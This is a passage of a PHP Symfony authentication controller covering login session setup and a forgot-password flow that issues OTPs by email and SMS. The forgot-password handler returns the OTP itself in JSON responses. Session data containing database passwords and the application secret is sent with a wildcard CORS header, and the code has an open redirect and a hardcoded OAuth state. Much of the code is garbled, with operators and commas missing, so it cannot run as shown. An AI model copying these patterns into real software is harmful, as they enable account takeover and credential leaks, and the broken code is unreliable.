  7738.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  7739.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  7740.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  7741.                         'oAuthImage' => $session->get('oAuthImage'),
  7742.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  7743.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  7744.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  7745.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  7746.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  7747.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  7748.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  7749.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  7750.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  7751.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  7752.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  7753.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  7754.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  7755.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  7756.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  7757.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  7758.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  7759.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  7760.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  7761.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  7762.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  7763.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7764.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7765.                         //new
  7766.                         'appIdList' => $session->get('appIdList'),
  7767.                         'branchIdList' => $session->get('branchIdList'null),
  7768.                         'branchId' => $session->get('branchId'null),
  7769.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7770.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7771.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7772.                     );
  7773.                     $accessList = [];
  7774. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7775.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7776.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7777.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7778.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7779.                                 $d = array(
  7780.                                     'userType' => $thisUserUserType,
  7781. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7782.                                     'userTypeName' => $userTypeName,
  7783.                                     'globalId' => $globalId,
  7784.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7785.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7786.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7787.                                     'systemType' => '_ERP_',
  7788.                                     'companyId' => 1,
  7789.                                     'appId' => $thisUserAppId,
  7790.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7791.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7792.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7793.                                             array(
  7794.                                                 'globalId' => $globalId,
  7795.                                                 'appId' => $thisUserAppId,
  7796.                                                 'authenticate' => 1,
  7797.                                                 'userType' => $thisUserUserType,
  7798.                                                 'userTypeName' => $userTypeName
  7799.                                             )
  7800.                                         )
  7801.                                     ),
  7802.                                     'userCompanyList' => [
  7803.                                     ]
  7804.                                 );
  7805.                                 $accessList[] = $d;
  7806.                             }
  7807.                         }
  7808.                     }
  7809.                     $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  7810.                     $session_data['userAccessList'] = $accessList;
  7811.                     $session->set('userAccessList'json_encode($accessList));
  7812.                     $session_data $this->filterClientSessionData($session_data);
  7813.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7814.                     $session_data $tokenData['sessionData'];
  7815.                     $token $tokenData['token'];
  7816.                     $session->set('token'$token);
  7817.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7818.                         $session->set('remoteVerified'1);
  7819.                         $response = new JsonResponse(array(
  7820.                             'token' => $token,
  7821.                             'uid' => $session->get(UserConstants::USER_ID),
  7822.                             'session' => $session,
  7823.                             'success' => true,
  7824.                             'session_data' => $session_data,
  7825.                         ));
  7826.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7827.                         return $response;
  7828.                     }
  7829.                     if ($request->request->has('referer_path')) {
  7830.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7831.                             return $this->redirect($request->request->get('referer_path'));
  7832.                         }
  7833.                     }
  7834.                     $redirectRoute 'applicant_dashboard';
  7835.                     if ($request->query->has('encData')) {
  7836.                         if ($request->query->get('encData') == '8917922')
  7837.                             $redirectRoute 'apply_for_consultant';
  7838.                     }
  7839.                     return $this->redirectToRoute($redirectRoute);
  7840.                 }
  7841. //                    $response = new JsonResponse(array(
  7842. //                        'token' => $token,
  7843. //                        'uid' => $session->get(UserConstants::USER_ID),
  7844. //                        'session' => $session,
  7845. //
  7846. //                        'success' => true,
  7847. //                        'session_data' => $session_data,
  7848. //
  7849. //                    ));
  7850. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7851. //                    return $response;
  7852. //                    return $this->redirectToRoute("user_login", [
  7853. //                        'id' => $isApplicantExist->getApplicantId(),
  7854. //                        'oAuthData' => $oAuthData,
  7855. //                        'encData' => $encData,
  7856. //                        'locale' => $request->request->get('locale', 'en'),
  7857. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7858. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7859. //                    ]);
  7860.             }
  7861.         }
  7862.         $selector BuddybeeConstant::$selector;
  7863.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7864.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7865.         if ($systemType == '_ERP_') {
  7866.         } else if ($systemType == '_SOPHIA_') {
  7867.             return $this->render(
  7868.                 '@Sophia/pages/views/sofia_login.html.twig',
  7869.                 [
  7870.                     'page_title' => 'Sophia Login',
  7871.                     'oAuthLink' => $google_client->createAuthUrl(),
  7872.                     'redirect_url' => $url,
  7873.                     'message' => $message,
  7874.                     'systemType' => $systemType,
  7875.                     'ownServerId' => $ownServerId,
  7876.                     'errorField' => '',
  7877.                     'encData' => $encData,
  7878.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7879.                     'selector' => $selector,
  7880.                 ]
  7881.             );
  7882.         } else if ($systemType == '_CENTRAL_') {
  7883.             return $this->render(
  7884.                 '@Authentication/pages/views/central_login.html.twig',
  7885.                 [
  7886.                     'page_title' => 'Central Login',
  7887.                     'oAuthLink' => $google_client->createAuthUrl(),
  7888.                     'redirect_url' => $url,
  7889.                     'message' => $message,
  7890.                     'systemType' => $systemType,
  7891.                     'ownServerId' => $ownServerId,
  7892.                     'errorField' => '',
  7893.                     'encData' => $encData,
  7894.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7895.                     'selector' => $selector,
  7896.                 ]
  7897.             );
  7898.         } else if ($systemType == '_BUDDYBEE_') {
  7899.             return $this->render(
  7900.                 '@Authentication/pages/views/applicant_login.html.twig',
  7901.                 [
  7902.                     'page_title' => 'BuddyBee Login',
  7903.                     'oAuthLink' => $google_client->createAuthUrl(),
  7904.                     'redirect_url' => $url,
  7905.                     'message' => $message,
  7906.                     'errorField' => $errorField,
  7907.                     'encData' => $encData,
  7908.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7909.                     'selector' => $selector
  7910.                 ]
  7911.             );
  7912.         }
  7913.         return $this->render(
  7914.             '@Authentication/pages/views/applicant_login.html.twig',
  7915.             [
  7916.                 'page_title' => 'Applicant Registration',
  7917.                 'oAuthLink' => $google_client->createAuthUrl(),
  7918.                 'redirect_url' => $url,
  7919.                 'encData' => $encData,
  7920.                 'message' => $message,
  7921.                 'errorField' => $errorField,
  7922.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7923.                 'selector' => $selector
  7924.             ]
  7925.         );
  7926.     }
  7927.     public function FindAccountAction(Request $request$encData ''$remoteVerify 0)
  7928.     {
  7929. //        $userCategory=$request->request->has('userCategory');
  7930.         $encryptedData = [];
  7931.         $errorField '';
  7932.         $message '';
  7933.         $userType '';
  7934.         $otpExpireSecond 180;
  7935.         $otpExpireTs 0;
  7936.         $otp '';
  7937.         if ($encData != '')
  7938.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  7939. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  7940.         $userCategory '_BUDDYBEE_USER_';
  7941.         if (isset($encryptedData['userCategory']))
  7942.             $userCategory $encryptedData['userCategory'];
  7943.         else
  7944.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  7945.         $em $this->getDoctrine()->getManager('company_group');
  7946.         $em_goc $this->getDoctrine()->getManager('company_group');
  7947.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7948.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7949.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  7950.         $twigData = [];
  7951.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  7952.         $email_address $request->request->get('email''');
  7953.         $email_twig_data = [];
  7954.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  7955.         if ($request->isMethod('POST')) {
  7956.             //set an otp and its expire and send mail
  7957.             $email_address $request->request->get('email');
  7958.             $userObj null;
  7959.             $userData = [];
  7960.             if ($systemType == '_ERP_') {
  7961.                 if ($userCategory == '_APPLICANT_') {
  7962.                     $userType UserConstants::USER_TYPE_APPLICANT;
  7963.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7964.                         array(
  7965.                             'email' => $email_address
  7966.                         )
  7967.                     );
  7968.                     if ($userObj) {
  7969.                     } else {
  7970.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7971.                             array(
  7972.                                 'oAuthEmail' => $email_address
  7973.                             )
  7974.                         );
  7975.                         if ($userObj) {
  7976.                         } else {
  7977.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  7978.                                 array(
  7979.                                     'username' => $email_address
  7980.                                 )
  7981.                             );
  7982.                         }
  7983.                     }
  7984.                     if ($userObj) {
  7985.                         $email_address $userObj->getEmail();
  7986.                         if ($email_address == null || $email_address == '')
  7987.                             $email_address $userObj->getOAuthEmail();
  7988.                     }
  7989. //                    triggerResetPassword:
  7990. //                    type: integer
  7991. //                          nullable: true
  7992.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  7993.                     $otp $otpData['otp'];
  7994.                     $otpExpireTs $otpData['expireTs'];
  7995.                     $userObj->setOtp($otpData['otp']);
  7996.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  7997.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  7998.                     $em_goc->flush();
  7999.                     $userData = array(
  8000.                         'id' => $userObj->getApplicantId(),
  8001.                         'email' => $email_address,
  8002.                         'appId' => 0,
  8003. //                        'appId'=>$userObj->getUserAppId(),
  8004.                     );
  8005.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8006.                     $email_twig_data = [
  8007.                         'page_title' => 'Find Account',
  8008.                         'encryptedData' => $encryptedData,
  8009.                         'message' => $message,
  8010.                         'userType' => $userType,
  8011.                         'errorField' => $errorField,
  8012.                         'otp' => $otpData['otp'],
  8013.                         'otpExpireSecond' => $otpExpireSecond,
  8014.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8015.                         'otpExpireTs' => $otpData['expireTs'],
  8016.                         'systemType' => $systemType,
  8017.                         'userData' => $userData
  8018.                     ];
  8019.                     if ($userObj)
  8020.                         $email_twig_data['success'] = true;
  8021.                 } else {
  8022.                     $userType UserConstants::USER_TYPE_GENERAL;
  8023.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8024.                     $email_twig_data = [
  8025.                         'page_title' => 'Find Account',
  8026.                         'encryptedData' => $encryptedData,
  8027.                         'message' => $message,
  8028.                         'userType' => $userType,
  8029.                         'errorField' => $errorField,
  8030.                     ];
  8031.                 }
  8032.             } else if ($systemType == '_CENTRAL_') {
  8033.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8034.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8035.                     array(
  8036.                         'email' => $email_address
  8037.                     )
  8038.                 );
  8039.                 if ($userObj) {
  8040.                 } else {
  8041.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8042.                         array(
  8043.                             'oAuthEmail' => $email_address
  8044.                         )
  8045.                     );
  8046.                     if ($userObj) {
  8047.                     } else {
  8048.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8049.                             array(
  8050.                                 'username' => $email_address
  8051.                             )
  8052.                         );
  8053.                     }
  8054.                 }
  8055.                 if ($userObj) {
  8056.                     $email_address $userObj->getEmail();
  8057.                     if ($email_address == null || $email_address == '')
  8058.                         $email_address $userObj->getOAuthEmail();
  8059.                     //                    triggerResetPassword:
  8060. //                    type: integer
  8061. //                          nullable: true
  8062.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8063.                     $otp $otpData['otp'];
  8064.                     $otpExpireTs $otpData['expireTs'];
  8065.                     $userObj->setOtp($otpData['otp']);
  8066.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8067.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8068.                     $em_goc->flush();
  8069.                     $userData = array(
  8070.                         'id' => $userObj->getApplicantId(),
  8071.                         'email' => $email_address,
  8072.                         'appId' => 0,
  8073.                         'image' => $userObj->getImage(),
  8074.                         'firstName' => $userObj->getFirstname(),
  8075.                         'lastName' => $userObj->getLastname(),
  8076.                         'phone' => $userObj->getPhone(),
  8077. //                        'appId'=>$userObj->getUserAppId(),
  8078.                     );
  8079.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8080.                     $email_twig_data = [
  8081.                         'page_title' => 'Find Account',
  8082.                         'encryptedData' => $encryptedData,
  8083.                         'message' => $message,
  8084.                         'userType' => $userType,
  8085.                         'errorField' => $errorField,
  8086.                         'otp' => $otpData['otp'],
  8087.                         'otpExpireSecond' => $otpExpireSecond,
  8088.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8089.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8090.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8091.                         'otpExpireTs' => $otpData['expireTs'],
  8092.                         'systemType' => $systemType,
  8093.                         'userCategory' => $userCategory,
  8094.                         'userData' => $userData
  8095.                     ];
  8096.                     $email_twig_data['success'] = true;
  8097.                 } else {
  8098.                     $message "Oops! Could not find your account";
  8099.                     $email_twig_data['success'] = false;
  8100.                 }
  8101.             } else if ($systemType == '_BUDDYBEE_') {
  8102.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8103.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8104.                     array(
  8105.                         'email' => $email_address
  8106.                     )
  8107.                 );
  8108.                 if ($userObj) {
  8109.                 } else {
  8110.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8111.                         array(
  8112.                             'oAuthEmail' => $email_address
  8113.                         )
  8114.                     );
  8115.                     if ($userObj) {
  8116.                     } else {
  8117.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8118.                             array(
  8119.                                 'username' => $email_address
  8120.                             )
  8121.                         );
  8122.                     }
  8123.                 }
  8124.                 if ($userObj) {
  8125.                     $email_address $userObj->getEmail();
  8126.                     if ($email_address == null || $email_address == '')
  8127.                         $email_address $userObj->getOAuthEmail();
  8128.                     //                    triggerResetPassword:
  8129. //                    type: integer
  8130. //                          nullable: true
  8131.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8132.                     $otp $otpData['otp'];
  8133.                     $otpExpireTs $otpData['expireTs'];
  8134.                     $userObj->setOtp($otpData['otp']);
  8135.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8136.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8137.                     $em_goc->flush();
  8138.                     $userData = array(
  8139.                         'id' => $userObj->getApplicantId(),
  8140.                         'email' => $email_address,
  8141.                         'appId' => 0,
  8142.                         'image' => $userObj->getImage(),
  8143.                         'firstName' => $userObj->getFirstname(),
  8144.                         'lastName' => $userObj->getLastname(),
  8145.                         'phone' => $userObj->getPhone(),
  8146. //                        'appId'=>$userObj->getUserAppId(),
  8147.                     );
  8148.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8149.                     $email_twig_data = [
  8150.                         'page_title' => 'Find Account',
  8151.                         'encryptedData' => $encryptedData,
  8152.                         'message' => $message,
  8153.                         'userType' => $userType,
  8154.                         'errorField' => $errorField,
  8155.                         'otp' => $otpData['otp'],
  8156.                         'otpExpireSecond' => $otpExpireSecond,
  8157.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8158.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8159.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8160.                         'otpExpireTs' => $otpData['expireTs'],
  8161.                         'systemType' => $systemType,
  8162.                         'userCategory' => $userCategory,
  8163.                         'userData' => $userData
  8164.                     ];
  8165.                     $email_twig_data['success'] = true;
  8166.                 } else {
  8167.                     $message "Oops! Could not find your account";
  8168.                     $email_twig_data['success'] = false;
  8169.                 }
  8170.             }
  8171.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8172.                 if ($systemType == '_BUDDYBEE_') {
  8173.                     $bodyHtml '';
  8174.                     $bodyTemplate $email_twig_file;
  8175.                     $bodyData $email_twig_data;
  8176.                     $attachments = [];
  8177.                     $forwardToMailAddress $email_address;
  8178. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8179.                     $new_mail $this->get('mail_module');
  8180.                     $new_mail->sendMyMail(array(
  8181.                         'senderHash' => '_CUSTOM_',
  8182.                         //                        'senderHash'=>'_CUSTOM_',
  8183.                         'forwardToMailAddress' => $forwardToMailAddress,
  8184.                         'subject' => 'Account Verification',
  8185. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8186.                         'attachments' => $attachments,
  8187.                         'toAddress' => $forwardToMailAddress,
  8188.                         'fromAddress' => \ApplicationBundle\Helper\MailerConfig::address(),
  8189.                         'userName' => \ApplicationBundle\Helper\MailerConfig::address(),
  8190.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8191.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8192.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8193. //                            'emailBody' => $bodyHtml,
  8194.                         'mailTemplate' => $bodyTemplate,
  8195.                         'templateData' => $bodyData,
  8196. //                        'embedCompanyImage' => 1,
  8197. //                        'companyId' => $companyId,
  8198. //                        'companyImagePath' => $company_data->getImage()
  8199.                     ));
  8200.                 } else if ($systemType == '_CENTRAL_') {
  8201.                     $bodyHtml '';
  8202.                     $bodyTemplate $email_twig_file;
  8203.                     $bodyData $email_twig_data;
  8204.                     $attachments = [];
  8205.                     $forwardToMailAddress $email_address;
  8206. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8207.                     $new_mail $this->get('mail_module');
  8208.                     $new_mail->sendMyMail(array(
  8209.                         'senderHash' => '_CUSTOM_',
  8210.                         //                        'senderHash'=>'_CUSTOM_',
  8211.                         'forwardToMailAddress' => $forwardToMailAddress,
  8212.                         'subject' => 'Account Verification',
  8213. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8214.                         'attachments' => $attachments,
  8215.                         'toAddress' => $forwardToMailAddress,
  8216.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8217.                         'userName' => 'accounts@ourhoneybee.eu',
  8218.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8219.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8220.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8221. //                            'emailBody' => $bodyHtml,
  8222.                         'mailTemplate' => $bodyTemplate,
  8223.                         'templateData' => $bodyData,
  8224. //                        'embedCompanyImage' => 1,
  8225. //                        'companyId' => $companyId,
  8226. //                        'companyImagePath' => $company_data->getImage()
  8227.                     ));
  8228.                 } else {
  8229.                     $bodyHtml '';
  8230.                     $bodyTemplate $email_twig_file;
  8231.                     $bodyData $email_twig_data;
  8232.                     $attachments = [];
  8233.                     $forwardToMailAddress $email_address;
  8234. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8235.                     $new_mail $this->get('mail_module');
  8236.                     $new_mail->sendMyMail(array(
  8237.                         'senderHash' => '_CUSTOM_',
  8238.                         //                        'senderHash'=>'_CUSTOM_',
  8239.                         'forwardToMailAddress' => $forwardToMailAddress,
  8240.                         'subject' => 'Applicant Registration on Honeybee',
  8241. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8242.                         'attachments' => $attachments,
  8243.                         'toAddress' => $forwardToMailAddress,
  8244.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8245.                         'userName' => 'accounts@ourhoneybee.eu',
  8246.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8247.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8248.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8249.                         'emailBody' => $bodyHtml,
  8250.                         'mailTemplate' => $bodyTemplate,
  8251.                         'templateData' => $bodyData,
  8252. //                        'embedCompanyImage' => 1,
  8253. //                        'companyId' => $companyId,
  8254. //                        'companyImagePath' => $company_data->getImage()
  8255.                     ));
  8256.                 }
  8257.             }
  8258.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8259.                 if ($systemType == '_BUDDYBEE_') {
  8260.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8261.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8262.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8263.                      _APPEND_CODE_';
  8264.                     $msg str_replace($searchVal$replaceVal$msg);
  8265.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8266.                     $sendType 'all';
  8267.                     $socketUserIds = [];
  8268.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8269.                 } else {
  8270.                 }
  8271.             }
  8272.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8273.                 $response = new JsonResponse(array(
  8274.                         'templateData' => $twigData,
  8275.                         'message' => $message,
  8276. //                        "otp"=>'',
  8277.                         "otp" => $otp,
  8278.                         "otpExpireTs" => $otpExpireTs,
  8279.                         'actionData' => $email_twig_data,
  8280.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8281.                     )
  8282.                 );
  8283.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8284.                 return $response;
  8285.             } else if ($email_twig_data['success'] == true) {
  8286.                 $encData = array(
  8287.                     "userType" => $userType,
  8288.                     "otp" => '',
  8289. //                "otp"=>$otp,
  8290.                     "otpExpireTs" => $otpExpireTs,
  8291.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8292.                     "userCategory" => $userCategory,
  8293.                     "userId" => $userData['id'],
  8294.                     "systemType" => $systemType,
  8295.                     "email" => $email_address,
  8296.                 );
  8297.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8298.                 $url $this->generateUrl(
  8299.                     'verify_otp'
  8300.                 );
  8301.                 return $this->redirect($url "/" $encDataStr);
  8302. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8303. ////                    'encData'
  8304. ////                'id' => $isApplicantExist->getApplicantId(),
  8305. ////                'oAuthData' => $oAuthData,
  8306. ////                'refRoute' => $refRoute,
  8307. //                ]);
  8308.             }
  8309.         }
  8310.         if ($systemType == '_ERP_') {
  8311.             if ($userCategory == '_APPLICANT_') {
  8312.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8313.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8314.                 $twigData = [
  8315.                     'page_title' => 'Find Account',
  8316.                     'encryptedData' => $encryptedData,
  8317.                     'message' => $message,
  8318.                     'systemType' => $systemType,
  8319.                     'ownServerId' => $ownServerId,
  8320.                     'userType' => $userType,
  8321.                     'errorField' => $errorField,
  8322.                 ];
  8323.             } else {
  8324.                 $userType UserConstants::USER_TYPE_GENERAL;
  8325.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8326.                 $twigData = [
  8327.                     'page_title' => 'Find Account',
  8328.                     'encryptedData' => $encryptedData,
  8329.                     'systemType' => $systemType,
  8330.                     'ownServerId' => $ownServerId,
  8331.                     'message' => $message,
  8332.                     'userType' => $userType,
  8333.                     'errorField' => $errorField,
  8334.                 ];
  8335.             }
  8336.         } else if ($systemType == '_CENTRAL_') {
  8337.             $userType UserConstants::USER_TYPE_APPLICANT;
  8338.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  8339.             $twigData = [
  8340.                 'page_title' => 'Find Account',
  8341.                 'encryptedData' => $encryptedData,
  8342.                 'systemType' => $systemType,
  8343.                 'ownServerId' => $ownServerId,
  8344.                 "otp" => '',
  8345. //                "otp"=>$otp,
  8346.                 "otpExpireTs" => $otpExpireTs,
  8347.                 'message' => $message,
  8348.                 'userType' => $userType,
  8349.                 'errorField' => $errorField,
  8350.             ];
  8351.         } else if ($systemType == '_BUDDYBEE_') {
  8352.             $userType UserConstants::USER_TYPE_APPLICANT;
  8353.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8354.             $twigData = [
  8355.                 'page_title' => 'Find Account',
  8356.                 'encryptedData' => $encryptedData,
  8357.                 "otp" => '',
  8358.                 'systemType' => $systemType,
  8359.                 'ownServerId' => $ownServerId,
  8360. //                "otp"=>$otp,
  8361.                 "otpExpireTs" => $otpExpireTs,
  8362.                 'message' => $message,
  8363.                 'userType' => $userType,
  8364.                 'errorField' => $errorField,
  8365.             ];
  8366.         }
  8367.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8368.             $response = new JsonResponse(array(
  8369.                     'templateData' => $twigData,
  8370.                     'message' => $message,
  8371.                     "otp" => '',
  8372. //                "otp"=>$otp,
  8373.                     "otpExpireTs" => $otpExpireTs,
  8374.                     'actionData' => $email_twig_data,
  8375.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8376.                 )
  8377.             );
  8378.             $response->headers->set('Access-Control-Allow-Origin''*');
  8379.             return $response;
  8380.         } else {
  8381.             return $this->render(
  8382.                 $twig_file,
  8383.                 $twigData
  8384.             );
  8385.         }
  8386.     }
  8387.     public function VerifyEmailForWebAction(Request $request$encData ''$remoteVerify 0)
  8388.     {
  8389. //        $userCategory=$request->request->has('userCategory');
  8390.         $encryptedData = [];
